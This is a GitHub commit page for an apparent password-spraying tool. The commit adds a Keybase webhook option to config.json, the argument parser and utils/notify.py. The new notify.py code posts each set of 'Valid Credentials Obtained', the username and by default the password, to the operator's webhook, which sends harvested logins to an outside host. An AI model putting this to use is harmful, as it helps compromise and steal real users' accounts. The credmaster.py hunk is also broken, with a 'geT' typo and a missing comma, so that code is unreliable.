Skip to content

Commit

Permalink
Add support for keybase notifications
Browse files Browse the repository at this point in the history
  • Loading branch information
TheToddLuci0 committed Feb 6, 2023
1 parent ff339ff commit 67f6b1c
Show file tree
Hide file tree
Showing 3 changed files with 70 additions and 0 deletions.
1 change: 1 addition & 0 deletions config.json
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@
"pushover_user" : null,
"discord_webhook" : null,
"teams_webhook" : null,
"keybase_webhook": null,
"operator_id" : null,
"exclude_password" : false,

Expand Down
2 changes: 2 additions & 0 deletions credmaster.py
Original file line number Diff line number Diff line change
Expand Up @@ -104,6 +104,7 @@ def parse_all_args(self, args):
"pushover_token" : args.pushover_token or config_dict.get("pushover_token"),
"pushover_user" : args.pushover_user or config_dict.get("pushover_user"),
"discord_webhook" : args.discord_webhook or config_dict.get("discord_webhook"),
"keybase_webhook" : args.keybase_webhook or config_dict.geT("keybase_webhook")
"teams_webhook" : args.teams_webhook or config_dict.get("teams_webhook"),
"operator_id" : args.operator_id or config_dict.get("operator_id"),
"exclude_password" : args.exclude_password or config_dict.get("exclude_password")
Expand Down Expand Up @@ -690,6 +691,7 @@ def log_success(self, username, password):
notify_args.add_argument('--pushover_user', type=str, default=None, help='User for Pushover notifications')
notify_args.add_argument('--discord_webhook', type=str, default=None, help='Webhook link for Discord notifications')
notify_args.add_argument('--teams_webhook', type=str, default=None, help='Webhook link for Teams notifications')
notify_args.add_argument('--keybase_webhook', type=str, default=None, help='Webhook for Keybase notifications')
notify_args.add_argument('--operator_id', type=str, default=None, help='Optional Operator ID for notifications')
notify_args.add_argument('--exclude_password', default=False, action="store_true", help='Exclude discovered password in Notification message')

Expand Down
67 changes: 67 additions & 0 deletions utils/notify.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ def notify_success(username, password, notify_obj):
teams_webhook = notify_obj['teams_webhook']
pushover_token = notify_obj['pushover_token']
pushover_user = notify_obj['pushover_user']
keybase_webhook = notify_obj['keybase_webhook']
operator = notify_obj['operator_id']
exclude_password = notify_obj['exclude_password']

Expand All @@ -25,6 +26,9 @@ def notify_success(username, password, notify_obj):
if teams_webhook is not None:
teams_notify(username, password, operator, exclude_password, teams_webhook)

if keybase_webhook is not None:
keybase_notify(username, password, operator, exclude_password, keybase_webhook)


def notify_update(message, notify_obj):

Expand All @@ -33,6 +37,7 @@ def notify_update(message, notify_obj):
teams_webhook = notify_obj['teams_webhook']
pushover_token = notify_obj['pushover_token']
pushover_user = notify_obj['pushover_user']
keybase_webhook = notify_obj['keybase_webhook']
operator = notify_obj['operator_id']

if slack_webhook is not None:
Expand All @@ -46,6 +51,68 @@ def notify_update(message, notify_obj):

if teams_webhook is not None:
teams_update(message, operator, teams_webhook)

if keybase_webhook is not None:
keybase_update(message, operator, keybase_webhook)


# Function for posting username/password to keybase channel
def keybase_notify(username, password, operator, exclude_password, webhook):

now = datetime.now()
date=now.strftime("%d-%m-%Y")
time=now.strftime("%H:%M:%S")

op_insert = ""
if operator is not None:
op_insert = f"Operator: {operator}\n"

pwd_insert = f"Pass: {password}\n"
if exclude_password:
pwd_insert = ""

text = ("```[Valid Credentials Obtained!]\n"
f"{op_insert}"
f"User: {username}\n"
f"{pwd_insert}"
f"Date: {date}\n"
f"Time: {time}```")

message = {
"msg" : text
}

response = requests.post(
webhook, data=json.dumps(message),
headers={'Content-Type': 'application/json'}
)


# Function for debug messages
def keybase_update(message, operator, webhook):

now = datetime.now()
date=now.strftime("%d-%m-%Y")
time=now.strftime("%H:%M:%S")

op_insert = ""
if operator is not None:
op_insert = f"Operator: {operator}\n"

text = ("```[Log Entry]\n"
f"{op_insert}"
f"{message}\n"
f"Date: {date}\n"
f"Time: {time}```")

message = {
"msg" : text
}
response = requests.post(
webhook, data=json.dumps(message),
headers={'Content-Type': 'application/json'}
)



# Function for posting username/password to slack channel
Expand Down

0 comments on commit 67f6b1c

Please sign in to comment.